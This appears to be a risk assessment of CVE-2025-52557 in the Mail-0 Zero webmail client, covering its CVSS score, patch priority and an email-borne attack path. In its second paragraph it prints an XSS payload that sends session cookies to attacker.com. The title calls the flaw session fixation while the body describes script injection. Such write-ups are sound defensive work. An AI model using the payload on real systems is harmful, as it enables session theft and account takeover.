Session Fixation CVE-2025-52557

CVSS 8.6 (High) with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P indicates network-based exploitation with low attack complexity and no authentication required, but requires user interaction (opening the email). The UI requirement is a significant mitigating factor—this is not wormable or self-propagating. Real-world risk is HIGH despite the UI requirement because: (1) email users routinely open messages from untrusted sources, making social engineering viable; (2) session hijacking can lead to full account compromise; (3) if deployed as a corporate email solution, lateral movement becomes possible. However, this is NOT a critical/CVSS-9+ tier vulnerability because exploitation is not guaranteed (depends on victim action) and requires the victim to be using the web interface (not all mail clients are affected). EPSS signal would likely be elevated (0.70+) given the ease of weaponization once a PoC exists. If this is not yet in CISA KEV catalog, it should be prioritized for inclusion given the straightforward attack path and high impact. Recommendation: Treat as Priority-1 for patching, especially in internet-facing deployments.

An attacker crafts a phishing email with embedded JavaScript payload, e.g., <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">. The email is sent to a target user of a Mail-0 Zero instance. When the victim logs into the web interface and opens the malicious email, the JavaScript executes in their browser context, automatically exfiltrating their session cookies to the attacker's server. The attacker uses the stolen session token to access the victim's email account, read sensitive messages, or send emails impersonating the victim. In a corporate environment, this could escalate to lateral movement if the user has elevated privileges or access to internal systems. No authentication is required to send the malicious email; however, the attack requires the victim to open it in the web UI (low barrier, high probability given typical email user behavior). PoC would likely consist of a simple HTML email with an XSS payload, easily generated once the vulnerability is disclosed.